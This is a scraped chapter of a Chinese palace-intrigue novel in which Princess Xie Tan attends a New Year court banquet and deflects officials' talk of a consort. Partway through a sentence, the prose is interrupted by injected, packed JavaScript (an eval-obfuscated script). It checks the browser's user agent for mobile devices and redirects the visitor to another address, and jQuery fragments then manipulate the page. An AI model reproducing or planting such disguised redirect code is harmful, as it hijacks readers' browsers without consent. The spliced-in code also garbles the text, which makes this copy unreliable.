深宫内苑，冬日早上寒意侵袭，雾气弥漫。不多时，日光柔柔地洒下来，整个宫殿笼罩在一种朦胧的光影之中。


    宫檐上翘起的一排琉璃瓦还挂着冰碴，如万根温顺的冰刃，只等主人一声令下，它便改头换面化作尖刀插入敌人胸口。


    御膳房，炉火正旺，热气腾腾。御厨正在制作各种珍馐美馔。


    宫女们则是在为宴厅做准备。彩线织就的丝幔被精心地悬挂在大殿的梁柱之间，随着微风轻轻摇曳，显得格外华丽飘逸。


    公主府，红芍和白芍也在铜镜前为谢檀装扮。


    “殿下，这可是圣上登基后第一次举办宴会，又逢上团年，咱们一定要穿得隆重些，好好煞煞他们的威风。”


    红芍眼中不无兴奋，她边说边打开锦盒，取出了里面的祥云蜀锦宫装。


    谢檀微微抬起眼帘，看向红芍手中之物。


    这是件深紫锦袍，其正面和背面都用金线绣了繁复的祥云图案，金线在深紫色的底色上闪闪发亮，仿佛云海中涌动的金光。


    祥云间还点缀着彩凤，栩栩如生。衣襟和袖口处皆镶嵌了价值连城的东珠，每一颗都圆润饱满，散发着柔和的光芒。


    “绣坊最好的绣娘用了整整三个月的时间才完成的呢！殿下你快试试。”红芍小心地将衣物展开，仔细展示每一处细节。她的手指轻轻拂过衣摆处的绣纹，生怕弄皱了这件绝美的华服。


    白芍手也触了上去，“这衣裳如此繁复精美，殿下穿着会不会有点招摇？”她目光有些担忧。


    “招摇什么，殿下可是当今圣上嫡亲的姐姐，自然担当得起这份殊容。”红芍语气颇为骄傲。


    “对了，还有那顶翠羽冠，殿下戴上才算是相得益彰。”她似是想起了什么，说完便匆匆往库房跑。


    白芍见说不过她，目光转向铜镜中的谢檀，眼中透着一丝犹豫和不安。


    “殿下，您当真要穿吗？”


    谢檀没立刻回她，而是偏头看了一眼，那衣服被红芍小心地放在梨木架子上，远远望去，彩凤双翅灵动，仿佛要冲破云层翱翔九天。


    “这衣裳确实华贵。”谢檀终于开口，声音如同潺潺流水般温柔，却又带着一丝不容置疑的坚定。“但正因为如此，它才能彰显天家的威严与尊贵。”


    “新帝年幼孱弱，朝臣虽表面和气，但内里也是拉帮结派，各自为营。我若再不出来震慑一番，只怕他们眼里就快没有皇室了。”她语气冷冽，与之前的温柔丝毫不同。


    白芍听完心中一凛，暗自点头，自己倒是没有想到这些。


    “不过你去跟红芍说一声，翠羽冠就不必拿了，还不到戴它的时候。”


    “是。”


    ......


    酉时一刻，宫宴正式开始。


    烛火摇曳，丝竹入耳。延庆殿各处都放了铜盘炭火，温暖似春。


    这次席位倒未以文武官区分，而是以官位高低来坐，位高权重的携家眷坐在最前面，其余官员则依次排列，是以不少文官之间还夹着几名武官。


    酉时二刻，众人差不多到齐了，谢伯玉还未到，但他已经着人吩咐了宫宴无需拘束，因此殿内气氛倒还活络，不乏有几个推杯换盏，脸红耳热的。


    谢檀甫一进来便吸引了大部分目光，她身着深紫宫装，配剑踏入华丽辉煌的殿堂，身上的彩凤随着她的步伐摆动，仿佛活了过来。


    大殿内的喧闹声在她进来的那一刻似乎停滞了。左右几排官员皆放下手中酒杯，纷纷起身行礼，口中敬呼，“殿下万安。”


    谢檀脚步不停，面容庄重，大刀阔斧朝前方走去。


    彩凤翱翔，恶紫夺朱。那通身的气度不像是臣子，倒像是一位天生的统治者在走向她命定的王座。


    前排的官员也察觉到一丝不对劲，脸色逐渐沉重起来，皆面面相觑，不敢多言。


    谢檀耳目不闻，她走到台阶处，只差一步便要踏上那个高座，众人额头惊出了一层薄汗，他们紧张地等待着她的下一步动作。


    然而，就在那即将踏上高座的一瞬间，她突然停下了脚步，转身向左侧第一位走去，官员们悬着的心这才落到实处，稍稍松了一口气。


    谢檀落座后，才摆手示意他们坐下，她左右皆无人。举目望去，看到了几张熟悉的面孔。


    值得注意的是，连平时很少出席这种宴会的老太傅杨炳春也赫然在列，他端坐在右首第二位，正和旁边的官员交谈，脸上带着温和的笑容。


    谢檀目光落在杨炳春身上，他也恰好抬头与她的眼神相接。


    杨炳春眉目慈祥，虽已年迈，但依旧精神矍铄，面庞中透着睿智与从容。他看到谢檀，微微点头示意，谢檀也回以得体的微笑。


    须臾，她视线落到右首第一位上，那里位置还空着。


    “那是谁？”谢檀偏头问身后的卓吾。


    蓦然，左边斜刺里伸出一双手，耳畔传来温润的声音。“那是承亲王的位置。”裴望廷替她倒了杯酒，接过了卓吾的话。


    谢檀一时没有反应过来，愣了一瞬，话已出口，“你为何会坐在这里。”


    裴望廷只是一个经学老师，并无实职，按他的身份远远不能坐在距离谢伯玉如此近的位置。


    他放下酒杯，苦笑一声坐回原处，“承蒙圣上偏爱，将这位置赏了下官，下官却颇有些高处不胜寒的惶恐。只怕今夜过后，下官的‘麻烦’要变多了。”


    宫宴座位间隙有些大，谢檀目光微凝，只好侧过身子压低声音问他，“那承亲王又是怎么回事，他不是一向称病避世吗？怎么今日病好了？”


    裴望廷也低声回应，“圣上说今夜是团年，一家团聚的日子，便下了道旨让承亲王过来了，大约也是想体验下天子同乐吧。”


    承亲王谢衡，先帝胞弟，生母只是个小小的贵人。先帝在时，与他的关系说不上亲厚，但也不至于疏远，属于默默无闻的人物，因此侥幸在夺位之乱中活了下来。


    谢伯玉继位后他更是秉承明哲保身的原则，远离朝政，只当个闲散王爷。由此谢伯玉对他还算不错，各项待遇一应照亲王供给，节礼赏赐也是不缺的，把他当做嫡亲的皇叔对待。


    只是他不常出


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12170303|123998||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    入宫闱，连谢檀也只见过他几次。


    他们二人看似是平常的交谈，落到其他人眼里却又不是这么回事，众人只看到他们身子靠得极近，甚是亲密。


    不免有好事者揶揄开口，“瞧殿下与裴先生这般熟实的样子，想必是相识已久吧？殿下雍容华贵，裴先生也是人中龙凤，两人看着就十分登对。”说话的是名脸生的官员，座位离大殿中心极远，若不是他贸然站起来出声，谢檀压根都不会注意到他。


    周围一众官员瞬间都安静了，耳朵皆竖起来准备听谢檀应答。


    谁不知道如今裴望廷得圣上喜爱，圣上对这个年轻帝师颇为尊敬，而他又是老太傅杨炳春的得意弟子，日后必有一番作为。


    而长公主谢檀皇室血脉手握重权，安国公长子季殊羽更是她麾下一员，他两人的结合无疑是最稳固的保皇党。


    谢檀盯着他没说话，那名官员顿时有些不知所措，脸涨成猪肝色，在座位上端着酒杯不上不下的站着，幸好有周围同僚替他解围。


    “我说严大人，圣上还没来你就喝醉了？殿下也是你能闲话的？还不赶紧自罚三杯向殿下赔罪。”说罢他便扯了一下严良的衣角。


    那严良闻言反应过来，迅速倒了三杯酒，一口气喝干，随即继续傻站在原地，等谢檀让他坐下。


    谢檀往后一仰，卓吾附耳解释道：“严良，清吏司郎中。上次赵明达之事，圣上震怒，吏部用人不力，识人不清，为了平息事端，他们推了一人出去脱罪，这严良就是新顶上来的。”


    呵，什么用人不力。谢檀心中冷笑，那赵明达是首辅张文昌的门生，若真要追究起来，也该是革了他的职。他们不敢招惹张文昌，倒拿一个小小的吏部郎中说事。


    “属下还查了一下，此人并未有任何后台，他大约以为他能升迁全是殿下您的功劳，所以才说这些话讨好您。”


    只是没想到马屁拍错了地方。


    见严良确实是无心之失，谢檀便也罢了，抬手示意他坐下，对方这才如释重负，松了一口气。


    谢檀有心揭过此事，却还有不知死活的硬凑上来。


    “我看严大人说的也不无道理嘛，长公主确实该寻一位驸马了，只是裴......”


    “方大人方才在说什么，什么驸马？”安国公季远山适时过来打断了方选的话。


    他先向谢檀虚行了个礼，随即在裴望廷左侧坐下，后面还跟着季殊合。


    “没说什么。”方选不得已闭上了嘴，心有不忿。季远山是个莽夫，嘴极毒，无理也要搅三分，跟他对上了完全是吃力不讨好。


    ......


    “陛下，咱们也该过去了，已经酉时三刻了。”常顺在偏殿不断提醒。


    “知道了。”谢伯玉不为所动，还站在屏风后面，从他那个角度可以清晰地看见大殿发生的一切。


    “你说朕是不是真该给长姐寻个门当户对的驸马了？”他陡然问常顺，又像是在自言自语。


    常顺揣摩不出他的意思，低头半天不敢回答。半晌又听他道：“算了，还是先过去吧。”